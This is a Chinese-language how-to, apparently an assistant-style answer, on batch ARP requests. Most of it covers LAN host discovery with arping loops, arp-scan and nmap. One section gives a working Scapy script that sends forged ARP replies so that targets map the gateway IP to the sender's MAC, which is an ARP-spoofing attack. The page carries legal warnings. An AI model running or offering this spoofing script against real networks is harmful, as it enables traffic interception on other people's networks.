本文目录导读:

脚本可以通过循环对多个目标批量发送ARP请求,具体取决于你的需求:
批量扫描局域网内活跃主机(常见用途)
#!/bin/bash
# arp-scan.sh - 批量发送ARP请求扫描局域网IP
# 设置目标网段(根据实际情况修改)
network="192.168.1"
start=1
end=254
for ip in $(seq $start $end); do
arping -c 1 -I eth0 "$network.$ip" 2>/dev/null &
done
wait
或使用工具:arp-scan (更高效)
sudo arp-scan --localnet # 或指定网段 sudo arp-scan 192.168.1.0/24
批量发送ARP请求(用于欺骗/测试,需谨慎)
# arp_spoof_batch.py
from scapy.all import *
import threading
def send_arp(target_ip, target_mac, gateway_ip, gateway_mac):
# 构造ARP响应包(欺骗目标:网关IP对应本机MAC)
packet = ARP(op=2,
pdst=target_ip,
hwdst=target_mac,
psrc=gateway_ip,
hwsrc=gateway_mac)
send(packet, verbose=False)
# 批量发送示例
targets = [
{"ip": "192.168.1.10", "mac": "aa:bb:cc:dd:ee:01"},
{"ip": "192.168.1.20", "mac": "aa:bb:cc:dd:ee:02"},
]
gateway_ip = "192.168.1.1"
my_mac = "ff:ff:ff:ff:ff:ff"
threads = []
for t in targets:
th = threading.Thread(target=send_arp, args=(t["ip"], t["mac"], gateway_ip, my_mac))
threads.append(th)
th.start()
for th in threads:
th.join()
批量获取MAC地址(ARP表填充)
#!/bin/bash
# 批量ping并记录ARP
for i in $(seq 1 254); do
ping -c 1 -W 1 192.168.1.$i > /dev/null 2>&1
done
arp -a | grep "192.168.1"
注意事项
| 用途 | 方法 | 风险 |
|---|---|---|
| 网络发现 | arp-scan / nmap -sn |
低 |
| ARP欺骗 | scapy / ettercap |
高(需授权) |
| 批量ARP中毒 | arpspoof 结合脚本 |
非法行为,仅限实验 |
推荐实用工具
# 安装 sudo apt install arp-scan nmap # 网络拓扑发现(最常用) nmap -sn 192.168.1.0/24 # ARP请求扫描(更底层) sudo arp-scan --interface=eth0 192.168.1.0/24 # 持续监控ARP表变化 watch -n 1 'arp -a'
核心要点:
- 检测用途:用
arp-scan或nmap -sn即可 - 欺骗/攻击用途:技术上可用脚本实现,但请务必在授权环境下使用,否则可能触犯《刑法》第285/286条
如果你有具体的应用场景(如网络资源发现、设备管理),可以告诉我,我帮你定制更安全的方案。